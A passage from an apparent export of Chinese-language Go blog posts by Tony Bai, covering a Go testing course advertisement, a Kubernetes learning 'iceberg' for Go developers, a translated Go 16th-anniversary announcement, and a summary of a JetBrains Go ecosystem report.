你的测试是否只覆盖了“阳光普照”的成功路径，却选择性地忽略了数据库连接失败、Redis 缓存击穿、下游 API 超时等“电闪雷鸣”的异常场景？ 脆弱的“模拟”大师： 你是否为了写测试而构建了庞大而脆弱的 Mock 王国？以至于每次重构核心逻辑，都意味着要重写一半的测试代码，让你对重构本身心生恐惧，技术债越积越多。 “发布”前的祈祷者： 当项目越来越大，你敢在没有一轮紧张的手动回归测试的情况下，自信地点击“发布”按钮吗？go test ./… 的漫长等待是否已经让你无法忍受？ 如果以上问题让你感同身受，那说明我们的测试体系，可能还停留在**“演员在镜子前练习自己台词”**的阶段。它能保证你自己的“台词”（单个函数）没问题，却无法保证你在“舞台”上（真实环境）与其他“演员”（数据库、缓存、API）的配合不出错。\n而线上事故，往往就出在这些**“接缝”**之处。\n真正的信心，源自体系化的“测试之道” 那么，如何构建一个能真正守护我们安稳度过每个周末的测试体系呢？答案不在于写更多的单元测试，而在于建立一个科学、分层、覆盖从已知到未知的自动化测试系统。\n这不仅仅是一门教你写测试的课程。这是一门为你注入“持续交付信心”的工程实践课。\n我将以一个贯穿始终的“短链接”实战项目为例，带你走过一条完整的进阶之路——从构建坚实的“测试金字塔”，到掌握前沿的“高级实践”。\n在这门专栏里，你将获得什么？\n一套完整的 Go 测试“作战地图”: 我们将自底向上，系统性地构建单元测试、集成测试、契约测试和端到端测试，让你清晰地知道在何处写何种测试。\n“驯服”外部依赖的终极武器: 我将手把手带你使用 Testcontainers，在测试代码中“一键”拉起真实的数据库和 Redis，彻底告别脆弱的 Mock 和不稳定的共享测试环境。\n一个装满“黑魔法”的高级工具箱: 我们不会止步于基础。你还将学到： * 如何用覆盖率 (Coverage) 分析工具为你的测试“查漏补缺”。 * 如何用模糊测试 (Fuzzing) 去探索人类思维难以触及的“未知”边界。 * 如何用黄金文件 (Golden Files) 优雅地解决对复杂输出的断言难题。\n一种全新的“可靠性”思维: 我们将初步探索混沌工程 (Chaos Engineering)，学习如何在测试中有控制地注入网络延迟、中断等故障，将你的测试思维从“验证功能”提升到“考验韧性”。\n最终目标： 让你拥有在任何时候都敢于自信重构、放心发布的工程能力。\n专栏学习路径一览 为了让你对这次学习之旅有更清晰的预期，这里是我们将要共同探索的“新大陆地图”：\n模块一：测试金字塔之基 (地基篇)\n第 1-3 讲: 深入单元测试，掌握表驱动、Fake Object、httptest 等核心技巧，为 service 和 handler 层构建坚固的“零件”质量保证。 模块二：测试金字塔之腰 (集成篇)\n第 4-6 讲: 掌握用构建约束隔离测试，并深入集成测试的核心。我们将用 Testcontainers 自动化编排 PostgreSQL 和 Redis，验证真实的服务间协作。 模块三：测试金字塔之顶 (验收篇)\n第 7-8 讲: 探索微服务时代的契约测试，并最终站在用户视角，用 docker-compose 搭建完整环境，进行端到端 (E2E) 测试的“终极验收”。 模块四：高级实践与可靠性工程 (进阶篇)\n第 9 讲 (高能预警!): Go 测试的“黑魔法”合集！一次性解锁覆盖率分析、Fuzzing 和 Golden Files 三大神器。 第 10 讲 (思想升华!): 拥抱“混乱”！学习混沌工程思想，并用 toxiproxy 在测试中主动注入网络故障，考验我们系统的韧性。 我们将最大化地利用 Go 原生工具链，让你看到 Go 设计的简洁与强大。每一讲都包含可运行的示例代码，保证你跟得上、学得会。\n与我一起，开启你的测试进阶之旅 测试，是现代软件工程的基石，也是对未来那个需要维护你代码的自己，最好的投资。\n如果你：\n对自己的测试代码缺乏信心，时常担心上线后出问题。 希望建立系统化的测试思维，向资深工程师或架构师迈进。 渴望掌握 Fuzzing、混沌工程等前沿测试技术，拓宽自己的技术视野。 那么，这门 《Go 测试之道：从测试金字塔到高级实践》 就是为你量身打造的。\n点击【这里】或扫描下方二维码订阅该微专栏，让我们一起，告别提心吊胆的上线，迎接自信重构的未来！\n老规矩，你还可以加入我的知识星球，该微专栏已经在星球免费发布，你也可以与我和其他同学一起讨论测试中的疑难杂症，共同进步。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/17/go-testing-journey/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-testing-journey-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/17/go-testing-journey\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/17/go-testing-journey\"\u003ehttps://tonybai.com/2025/11/17/go-testing-journey\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e我想请大家想象一个场景：\u003c/p\u003e\n\u003cp\u003e周五下午五点，你刚刚修复了一个看似无关紧要的 bug，怀着对周末的憧憬，合并了你的代码。CI/CD 流水线一片绿灯，部署顺利完成。\u003c/p\u003e","title":"你的 Go 测试，还停留在“演员对台词”吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/17/explain-kubernetes\n大家好，我是Tony Bai。\n近日，一张关于 Kubernetes 知识体系的“冰山图”在开发者社区广为流传。它以一种戏谑而又无比真实的方式，描绘了从入门到精通 K8s 所需跨越的深邃鸿沟。\n对于我们 Gopher 而言，这张图有着非凡的意义。因为 Kubernetes 这座宏伟的“冰山”，其根基、其骨架、其每一寸血肉，几乎都是用 Go 语言铸就的。因此，这张图不仅是一份 K8s 的学习地图，更是一份 Go 开发者在云原生时代，从“工具使用者”蜕变为“生态构建者”的进阶航海图。\n今天，就让我们以 Go 的视角，一同潜入这座冰山的水下，探索每一层的奥秘。\n第一层 \u0026amp; 第二层 (水面之上)：云原生的“你好，世界” 关键词：Docker, kubectl run nginx, Pods, Deployment, ReplicaSet, Service, Ingress, HPA, ConfigMap, Secret 开发者状态：初出茅庐，意气风发 这是 K8s 的“海平面”，是每一位初学者最先看到的光景。你学会了用 Docker 打包你的 Go 应用，用 kubectl 启动一个 Pod，通过 Deployment 保证它的运行实例数，再用 Service 和 Ingress 将其暴露给外部世界。\n对于 Gopher：在这个阶段，你是一位Go 应用的打包者和部署者。你编写的 main.go，是 K8s 世界里最终要运行的“货物”。你关心的是如何让你的 Go 二进制文件变得更小、启动更快，以及如何优雅地处理 SIGTERM 信号以实现平滑下线。\n第三层 (刚刚淹没)：自动化与运维的开端 关键词：Helm, Cluster Autoscaler, GitOps, Volumes, Init Containers 开发者状态：初尝苦涩，发量渐少 当你不再满足于手动敲打 kubectl apply，便开始进入这片“浅水区”。你学会了用 Helm（一个 Go 编写的包管理器）来打包和管理复杂的应用发布；你开始实践 GitOps，将应用的期望状态存储在 Git 中；你开始为你的 Go 应用挂载 Volumes，处理持久化数据。\n对于 Gopher：你开始成为云原生工具的使用者。你不仅要写好应用本身，还要思考如何将其以一种可重复、自动化的方式，融入到更大的 CI/CD 流程中。\n第四层 \u0026amp; 第五层 (深水区)：驾驭复杂性与状态 关键词：StatefulSet, DaemonSet, VPA, Upgrades, PodDisruptionBudget, NetworkPolicy, Service Mesh 开发者状态：饱经风霜，面容憔悴 这里是真正的分水岭。当你需要部署一个有状态的 Go 应用（如数据库、消息队列）时，StatefulSet 成了你的必修课。你需要为集群中的每个节点部署一个 Go agent 时，DaemonSet 登场了。你开始关心应用的高可用性，学习 PodDisruptionBudget (PDB) 以确保在节点维护时，服务不会中断。\n对于 Gopher：你开始从“应用开发者”向“系统工程师”转变。你不再只关心自己的 Go 程序，而是开始思考它在整个分布式系统中的角色、它的邻居（如 Service Mesh Sidecar），以及它在混乱的网络环境中的生存之道。\n(注：图中的 PodSecurityPolicy 是一个已废弃的 API，其功能已被更强大的 PodSecurityAdmission 所取代。这也是 K8s 演进复杂性的一个缩影。)\n第六层 (深渊)：成为“创世神” 关键词：CRD, Operators, RBAC 开发者状态：返璞归真，仙风道骨 欢迎来到深渊！在这里，你不再满足于使用 Kubernetes 的 API，你开始创造属于你自己的 API。\nCRD (Custom Resource Definition)：允许你定义自己的 K8s 资源，比如 type MyGoApp struct {…}。 Operator：这才是真正的核心。Operator 本身就是一个 Go 程序，它的职责是作为一个“机器人管理员”，持续地观察你定义的 CRD，并采取行动，使系统的真实状态与你声明的期望状态保持一致。 对于 Gopher：恭喜你，你已经从 K8s 的“使用者”变成了“构建者”！ 你正在使用 client-go、controller-runtime 等 Go 库，编写能够扩展 K8s 内核的、真正意义上的云原生应用。这是 Go 在云原生领域最具创造力、也最具价值的工作。\n第七层 \u0026amp; 第八层 (黑暗维度)：触及本质 关键词：Node Hardening, Image Scanning, Admission Controllers, Mutating Webhooks, Self-managed, CRI-O, EndpointSlices 开发者状态：超凡入圣，化身天神 这是冰山的绝对底部，是普通应用开发者很少触及的领域。在这里，你思考的是整个集群的安全（节点加固、镜像扫描）、API 服务器的准入控制（Admission Controllers，这通常也是用 Go 编写的 Webhook 服务），甚至是 K8s 的底层运行时（CRI-O）和网络模型的实现细节。\n对于 Gopher：你已经不再满足于扩展 K8s，你开始深入其内核，甚至从零开始构建一个“自管理”(Self-managed) 的 K8s 集群。你正在阅读和理解 Kubernetes 自身的 Go 源代码，成为了这个庞大生态系统中最顶尖的那一小撮人。\n小结：一条 Go 开发者的英雄之旅 这张“冰山图”，清晰地为我们 Gopher 描绘了一条从“应用开发”到“基础设施掌控”的英雄之旅。它告诉我们，Kubernetes 不仅仅是一个部署平台，它更是 Go 语言迄今为止最伟大的“杀手级应用”。\n无论你现在身处冰山的哪一层，都无需焦虑。重要的是，认识到这座冰山的广阔，并意识到作为一名 Gopher，你手中已经握有探索每一层深度的“金钥匙”。从 main.go 到 Operator，Go 语言为你提供了贯穿始终的、最强大的工具。\n那么，你的下一站，是冰山的哪一层呢？\n资料链接：https://www.reddit.com/r/kubernetes/comments/1otc548/explain_kubernetes/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/17/explain-kubernetes/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/explain-kubernetes-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/17/explain-kubernetes\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/17/explain-kubernetes\"\u003ehttps://tonybai.com/2025/11/17/explain-kubernetes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e近日，一张关于 Kubernetes 知识体系的“冰山图”在开发者社区广为流传。它以一种戏谑而又无比真实的方式，描绘了从入门到精通 K8s 所需跨越的深邃鸿沟。\u003c/p\u003e","title":"你的 Kubernetes 知识在“冰山”的第几层？—— 一份给 Gopher 的 K8s 进阶“航海图”"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/15/go-turns-16\n大家好，我是Tony Bai。\n今年的 Go 官方16岁“庆生”文章，来得比以往时候都要晚一些。\n往年，我们总能在 11 月 10 日或 11 日，准时收到这份来自 Go 团队的年度“家庭来信”。但今年，日历翻过了好几天，官方博客却依旧静悄悄。前几天，我还在知识星球上和星友们“抱怨”：“今年 Go 官方居然没有发 16 周年庆生纪念文章，比较反常啊！是忙忘了？还是没人有空写？”\n现在回头看，这份“迟到”的生日礼物，或许恰恰反映了 Go 团队当前的状态。与其说是“忙忘了”，我更倾向于相信，这是新任技术负责人 Austin Clements 那种众所周知的严谨风格的体现——在没有将过去一年的所有重要进展都梳理清晰、打磨完美之前，宁愿延迟，也绝不仓促发文。抑或是，随着 Go 在 AI 时代的责任日益重大，团队的每一个字，都变得更加审慎和深思熟虑。\n那么，这份姗姗来迟的“年度报告”，又为何值得我们全文翻译，并分享给大家呢？\n因为这不仅仅是一篇生日贺文，它更是一份极其珍贵的、信息密度极高的官方“战略简报”。\n在这篇文章里，Go 团队不仅系统性地盘点了过去一年中，从核心语言、安全体系到工具链的所有重大成果（synctest, Green Tea GC, FIPS 认证, go fix…），更重要的是，它首次清晰地、成体系地阐述了 Go 在 AI 时代的定位与雄心。它告诉我们，Go 团队正在如何将 Go 语言独特的并发、性能和可靠性优势，注入到 AI 集成、Agent 和基础设施的构建中。\n对于我们每一位 Gopher 而言，这篇文章就是一张官方的“藏宝图”。它不仅能帮助我们快速跟上 Go 的最新动态，更能让我们洞察这门语言未来的发展方向，从而在技术浪潮中，做出更明智的学习和职业决策。\n下面，就让我们一同深入这份迟到但分量十足的“生日礼物”。以下是文章全文。\n刚刚过去的周一，11 月 10 日，我们庆祝了 Go 开源发布 16 周年！\n我们遵循了现在已经非常成熟和可靠的发布节奏，在二月份发布了 Go 1.24，并在八月份发布了 Go 1.25。为了继续我们构建最高效的生产系统语言平台的使命，这些版本包含了用于构建健壮可靠软件的新 API，在 Go 构建安全软件的记录上取得了显著进展，以及一些重要的底层改进。与此同时，没有人能忽视生成式 AI 给我们行业带来的巨大变革。Go 团队正以深思熟虑且毫不妥协的思维方式应对这一充满活力的领域中的挑战和机遇，致力于将 Go 的生产就绪方法应用于构建健壮的 AI 集成、产品、智能体和基础设施。\n核心语言和库的改进 新的 testing/synctest 包在 Go 1.24 中作为实验性功能首次发布，然后在 Go 1.25 中正式毕业，它极大地简化了为并发、异步代码编写测试的过程。这类代码在网络服务中尤为常见，并且传统上很难进行良好的测试。synctest 包通过虚拟化时间本身来工作。它将过去缓慢、不稳定或两者兼有的测试，转变为易于重写成可靠且几乎瞬时完成的测试，通常只需增加几行代码。这也是 Go 软件开发集成方法的一个绝佳例子：在一个几乎微不足道的 API 背后，synctest 包隐藏了与 Go 运行时和标准库其他部分的深度集成。\n这并非过去一年中 testing 包得到的唯一增强。新的 testing.B.Loop API 不仅比原来的 testing.B.N API 更易于使用，还解决了编写 Go 基准测试时许多传统的——且常常是不可见的！——陷阱。testing 包还新增了 API，可以轻松地在使用 Context 的测试中进行清理，以及轻松地向测试日志写入内容。\nGo 和容器化技术一同成长，并彼此配合得很好。Go 1.25 推出了容器感知调度，使这对组合更加强大。开发者无需任何操作，它就能透明地调整在容器中运行的 Go 工作负载的并行度，防止可能影响尾部延迟的 CPU 节流，并提升了 Go 开箱即用的生产就绪性。\nGo 1.25 的新飞行记录器(flight recorder)建立在我们本已强大的执行追踪器之上，能够深入洞察生产系统的动态行为。执行追踪器通常会收集过多的信息，在长期运行的生产服务中不太实用，而飞行记录器则像一个小小的时光机，允许服务在出现问题之后，以极高的细节快照最近发生的事件。\n安全软件开发 Go 继续加强其对安全软件开发的承诺，在其原生加密包方面取得了重大进展，并演进其标准库以增强安全性。\nGo 在标准库中附带了一整套原生加密包，这些包在过去一年中达到了两个重要的里程碑。由独立安全公司 Trail of Bits 进行的安全审计取得了优异的结果，仅有一个低严重性的发现。此外，通过 Go 安全团队与 Geomys 的合作，这些包获得了 CAVP 认证，为完整的 FIPS 140-3 认证铺平了道路。这对于在某些受监管环境中的 Go 用户来说是一项至关重要的进展。FIPS 140 合规性，以往由于需要使用不受支持的解决方案而成为一个摩擦点，现在将被无缝集成，解决了与安全性、开发者体验、功能性、发布速度和合规性相关的问题。\nGo 标准库持续演进，以实现默认安全和设计安全。例如，Go 1.24 中添加的 os.Root API 实现了抗遍历的文件系统访问，有效地对抗了一类漏洞，即攻击者可能操纵程序访问本应不可访问的文件。这类漏洞在没有底层平台和操作系统支持的情况下极具挑战性，而新的 os.Root API 提供了一个直接、一致且可移植的解决方案。\n底层改进 除了用户可见的更改，Go 在过去一年中还在底层做了重大改进。\n在 Go 1.24 中，我们完全重新设计了 map 的实现，借鉴了哈希表设计中最新、最伟大的思想。这一更改是完全透明的，并为 map 的性能带来了显著提升，降低了 map 操作的尾部延迟，在某些情况下甚至带来了显著的内存节省。\nGo 1.25 包含了一个实验性的、在 Go 垃圾回收器方面的重大进步，名为 Green Tea。Green Tea 在许多应用程序中将垃圾回收开销减少了至少 10%，有时甚至高达 40%。它使用了一种专为当今硬件的能力和限制而设计的新颖算法，并开辟了一个我们正热切探索的新设计空间。例如，在即将发布的 Go 1.26 版本中，Green Tea 将在支持 AVX-512 向量指令的硬件上额外实现 10% 的垃圾回收器开销降低——这在旧算法中几乎是不可能的。Green Tea 将在 Go 1.26 中默认启用；用户只需升级他们的 Go 版本即可受益。\n进一步发展软件开发栈 Go 远不止于语言和标准库。它是一个软件开发平台，在过去一年里，我们还对 gopls 语言服务器进行了四次常规发布，并建立了合作伙伴关系以支持新兴的智能体应用程序新框架。\nGopls 为 VS Code 和其他基于 LSP 的编辑器和 IDE 提供 Go 支持。每个版本都有一系列的功能和改进，提升了阅读和编写 Go 代码的体验（详情请见 v0.17.0、v0.18.0、v0.19.0 和 v0.20.0 的发布说明，或我们新的 gopls 功能文档！）。一些亮点包括：许多新增和增强的分析器，帮助开发者编写更地道和健壮的 Go 代码；对变量提取、变量内联和 JSON 结构体标签的重构支持；以及一个实验性的内置MCP服务器，用于模型上下文协议（MCP），它以 MCP 工具的形式向 AI 助手暴露了 gopls 的一部分功能。\n从 gopls v0.18.0 开始，我们开始探索自动代码现代化工具。随着 Go 的演进，每个版本都带来了新的能力和新的惯用法；Go 程序员一直在寻找其他方法来做的事情，现在有了新的、更好的方法。Go 坚守其兼容性承诺——旧的方式将永远有效——但尽管如此，这在旧惯用法和新惯用法之间造成了分歧。现代化工具是静态分析工具，它们能识别旧的惯用法，并建议更快、更可读、更安全、更现代的替代方案，并且能一键可靠地完成。我们希望现代化工具能像 gofmt 为风格一致性所做的那样，为惯用法一致性做出贡献。我们将现代化工具集成为 IDE 的建议，在那里它们不仅能帮助开发者维护更一致的编码标准，我们相信它们还能帮助开发者发现新功能并跟上最新技术。我们相信现代化工具还能帮助 AI 编码助手跟上最新技术，并对抗它们倾向于强化关于 Go 语言、API 和惯用法的过时知识。即将到来的 Go 1.26 版本将包括对长期休眠的 go fix 命令的全面改造，使其能够批量应用全套的现代化工具，回归其Go 1.0 之前的根源。\n九月底，我们与 Anthropic 和 Go 社区合作，发布了模型上下文协议（MCP）的官方 Go SDK 的 v1.0.0。这个 SDK 支持 MCP 客户端和 MCP 服务器，并支撑着 gopls 中新的 MCP 功能。将这项工作开源，有助于赋能围绕 Go 构建的日益增长的开源智能体生态系统的其他领域，例如最近由 Google 发布的Agent Development Kit (ADK) for Go。ADK Go 建立在 Go MCP SDK 之上，为构建模块化的多智能体应用程序和系统提供了一个地道的框架。Go MCP SDK 和 ADK Go 展示了 Go 在并发、性能和可靠性方面的独特优势如何使 Go 在生产级 AI 开发中脱颖而出，我们预计未来几年会有更多的 AI 工作负载用 Go 编写。\n展望未来 Go 前方是激动人心的一年。\n我们正在通过全新的 go fix 命令、对 AI 编码助手的更深层次支持，以及对 gopls 和 VS Code Go 的持续改进，来提升开发者的生产力。Green Tea 垃圾回收器的正式可用、对单指令多数据（SIMD）硬件功能的原生支持，以及运行时和标准库对编写能更好地扩展到大规模多核硬件代码的支持，将继续使 Go 与现代硬件保持一致，并提高生产效率。我们正专注于 Go 的“生产栈”库和诊断工具，包括由 Joe Tsai 和 Go 社区成员共同推动的、对 encoding/json 的一次大规模（且酝酿已久）的升级；由 Uber 的编程系统团队贡献的泄露 goroutine 分析；以及对 net/http、unicode 和其他基础包的许多其他改进。我们正致力于为使用 Go 和 AI 构建提供清晰的路径，谨慎地演进语言平台以适应当今开发者不断变化的需求，并构建能够同时帮助人类开发者和 AI 助手及系统的工具和能力。\n在 Go 开源发布 16 周年之际，我们也在展望 Go 开源项目本身的未来。从其卑微的开端开始，Go 已经形成了一个蓬勃发展的贡献者社区。为了继续最好地满足我们不断扩大的用户群的需求，尤其是在软件行业动荡的时期，我们正在研究如何更好地扩展 Go 的开发流程——同时不失 Go 的基本原则——并更深入地让我们的优秀贡献者社区参与进来。\n没有我们卓越的用户和贡献者社区，Go 就不可能有今天的成就。我们祝愿大家在新的一年里一切顺利！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/15/go-turns-16/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-turns-16-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/15/go-turns-16\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/15/go-turns-16\"\u003ehttps://tonybai.com/2025/11/15/go-turns-16\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e今年的 Go 官方16岁“庆生”文章，来得比以往时候都要晚一些。\u003c/p\u003e\n\u003cp\u003e往年，我们总能在 11 月 10 日或 11 日，准时收到这份来自 Go 团队的年度“家庭来信”。但今年，日历翻过了好几天，官方博客却依旧静悄悄。前几天，我还在\u003ca href=\"https://public.zsxq.com/groups/51284458844544\"\u003e知识星球\u003c/a\u003e上和星友们“抱怨”：“今年 Go 官方居然没有发 16 周年庆生纪念文章，比较反常啊！是忙忘了？还是没人有空写？”\u003c/p\u003e","title":"Go 的甜蜜16 岁：一份来自官方的年度成绩单与未来路线图"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/14/the-go-ecosystem-in-2025\n大家好，我是Tony Bai。\nGo 语言迎来了它的第 16 个年头。从一个旨在解决 Google 内部工程效率问题的项目，成长为拥有超过 500 万开发者的全球性技术力量，16 岁的 Go 已然进入了一个成熟、稳健的“少年时代”。\n在这个值得纪念的里程碑时刻，我们不禁要问：支撑着 Go 社区一路走来的核心价值观，是否依然坚如磐石？长期以来，Go 社区都以其“内置电池”(batteries included) 的强大标准库而自豪，并将“标准库优先”(standard library first) 奉为圭臬。\n然而，这种“原生信仰”是否正在随着生态的成熟而悄然动摇？近日，JetBrains 发布的《Go 2025 生态系统状况报告》，通过翔实的数据，为我们揭示了一个正在演进的、更加务实的 Go 世界。\n这份数据报告，同时也是一次对 Go 16 年发展历程的深刻反思，让我们得以看清 Gopher 们在“原生”与“生态”之间的真实选择。\n在本文中，我们将解读这份报告的关键数据，系统性地剖析 Go 在 Web 框架、测试工具以及 AI 辅助编程等核心领域的最新趋势，并探讨这些变化对每一位 Go 开发者未来的技术选型意味着什么。\nWeb 框架的“权力的游戏”：Gin 称王，旧王陨落 Web 后端开发和 DevOps/SRE 是 Go 的两大核心阵地。在 Web 领域，框架和路由器的选择，最能体现社区的变迁。\n报告中最引人注目的趋势包括：\nGin 的霸主地位愈发稳固：使用率从 2020 年的 41% 稳步增长到 2025 年的 48%，已成为近半数 Go 开发者的首选。其高性能、成熟的生态和丰富的文档，使其在“最佳 Web 框架”的竞争中一骑绝尘。\ngorilla/mux 的时代落幕：这个曾经最强大、最流行的 HTTP 路由器，其使用率从 36% 断崖式下跌至 17%。这背后是清晰的行业变迁：该项目于 2023 年正式归档，后又重新开放，但社区开发者也纷纷转向更现代的替代方案。\nnet/http 与 chi 的稳健：标准库 net/http 依然是 32% 开发者的选择，证明了 Go 社区“无框架”的极简主义哲学依然拥有强大的生命力。特别是在 Go 1.22 引入了增强的模式路由后，标准库的吸引力进一步提升。而 chi 则凭借其轻量、地道 (idiomatic) 且与 net/http 完全兼容的特性，使用率稳步增长至 12%，成为了 gorilla/mux 的主要“生态位继承者”。\n新星 Fiber 的崛起：作为一个 2020 年才出现的框架，Fiber 凭借其对性能和简洁性的极致追求，迅速获得了 11% 的市场份额，紧追 Echo (16%)，显示出强劲的增长势头。\n可以看到：Go Web 生态呈现出清晰的“一超多强”格局。Gin 满足了大多数人对“全功能框架”的需求，而 net/http 和 chi 则服务于“标准库优先”的极简主义者。一个时代的结束 (gorilla/mux)，必然伴随着新秩序的建立。\n测试生态的“范式转移”：标准库光环正在褪色 如果说 Web 框架的变迁是意料之中，那么测试领域的趋势则足以让许多“原教旨主义者”感到震惊。\n标准库 testing 使用率大幅下降：作为 Go 内置的测试解决方案，其使用率从 2020 年的 60%，锐减至 2025 年的 35%。 这背后传递出一个强烈的信号：虽然 testing 包奠定了 Go 简洁、一致的测试文化，但报告明确指出，“对于大型或企业级项目，其能力往往是不够的。”\n那么，Gopher 们转向了哪里？\ntestify 成为断言事实标准：testify 的使用率从 19% 增长到 27%。其提供的丰富、易读的断言函数（如 assert.Equal, require.NoError），完美地弥补了标准库在这一领域的空白。 gomock 成为 Mocking 核心选择：gomock 的使用率从 12% 飙升至 21%。在 Go 这种面向接口编程的语言中，一个强大、易用的 Mocking 框架，对于编写可维护的单元测试至关重要。 测试领域的数据，最深刻地反映了 Go 生态的演进哲学。“标准库优先”的信仰，正在被“生产力优先”的务实主义所修正。 当标准库提供的“电池”不足以驱动复杂的企业级应用时，社区会毫不犹豫地选择 testify 和 gomock 这样经过实战检验的“外挂电池组”。\n工具链的“军备竞赛”与 AI 的全面渗透 报告还揭示了其他领域的“赢家”：\n日志：log/slog (Go 1.21+ 新标准) 成为新项目的自然选择，而 logrus 虽进入维护模式但依然稳定，高性能场景则由 zap 和 zerolog 占据。 数据库：轻量级封装 (sqlx, pgx) 与重量级 ORM (GORM, ent) 之间，依然是两种哲学之争，但报告承认 ORM 在“重度抽象”场景下是推荐的选择。 CLI：cobra 凭借其在 kubectl 和 helm 等大型项目中的成功，成为构建复杂 CLI 的不二之选，而 bubbletea 则引领了 TUI（文本用户界面）的复兴。 静态分析：golangci-lint 已成为社区公认的“全家桶” Linter 运行器。 一个值得关注的新趋势是 AI 的全面渗透。 超过 70% 的 Go 开发者正在日常使用 AI 编程助手。报告给出了一个极具洞察力的解释：\nGo 语言的简洁性、结构化和可预测性，使其特别适合基于 LLM 的代码生成。即使是基础的 AI 代码补全和测试生成，在处理 Go 的样板代码（如 if err != nil）时，也能提供巨大的价值。\n这似乎将 Go 曾被诟病的“繁琐”，在 AI 时代，意外地转化成了一种“AI 友好”的优势。\n小结：演进中的信仰——“标准库优先”，但不再是“标准库唯一” Go 语言 16 岁了。少年已成，风华正茂。它已经进入了一个成熟、稳定，但也更加多元和务实的阶段。JetBrains 的这份报告，为我们描绘了一幅清晰的画卷，也回答了我们开篇的提问。\nGopher 的“原生信仰”并未动摇，它只是演进得更加成熟和包容。\n“标准库优先”的哲学，依然是 Go 文化的起点和基石。它塑造了 Gopher 们对简洁、可靠和“无魔法”的共同追求，是区分 Go 与其他生态的鲜明旗帜。\n然而，数据清晰地表明，当面对真实世界中大规模、复杂的工程挑战时，Go 社区已经勇敢地走出了“标准库唯一”的象牙塔。开发者们正在积极地、大规模地拥抱那些能够真正提升生产力、填补标准库能力空白的第三方库和框架。\n16 岁的 Go，不再是一个只需要“内置电池”就能跑遍天下的少年。它已经成长为一个拥有强大“充电宝”和“配件”生态系统的成熟平台。这，并非信仰的动摇，而是成长的必然。这，正是一个健康、繁荣的技术生态走向未来的标志。\n资料链接：https://blog.jetbrains.com/go/2025/11/10/go-language-trends-ecosystem-2025/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 